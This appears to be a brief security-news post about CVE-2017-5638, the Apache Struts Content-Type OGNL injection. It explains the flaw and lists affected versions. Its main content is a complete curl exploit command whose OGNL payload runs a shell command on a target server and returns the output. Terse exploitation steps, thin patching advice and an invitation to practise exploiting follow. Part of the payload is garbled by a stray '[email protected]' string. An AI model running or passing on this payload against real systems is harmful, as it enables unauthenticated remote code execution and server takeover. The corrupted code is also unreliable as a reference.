Listen to this Post
How the mentioned CVE works:
The CVE-2017-5638 vulnerability exists in the Jakarta Multipart parser of Apache Struts. An attacker exploits the flaw by sending a malicious `Content-Type` HTTP header in a file upload request. The parser incorrectly processes this header, attempting to evaluate it as an Object-Graph Navigation Language (OGNL) expression. Since OGNL expressions can execute arbitrary code on the server, this allows an unauthenticated attacker to achieve remote code execution with the privileges of the Struts application server. The vulnerability is triggered during the error handling mechanism when the parser fails to handle the malformed header, leading to the interpolation of the attacker-controlled string as a dangerous OGNL expression.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: 2017-03-10
What Undercode Say:
`curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’id’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://target.com/upload.action`
How Exploit:
Craft malicious Content-Type header.
Target vulnerable Struts endpoint.
Execute system commands remotely.
Protection from this CVE:
Upgrade Struts immediately.
Implement WAF filtering.
Disable file upload functionality.
Impact:
Full system compromise.
Data breach and theft.
Complete application control.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
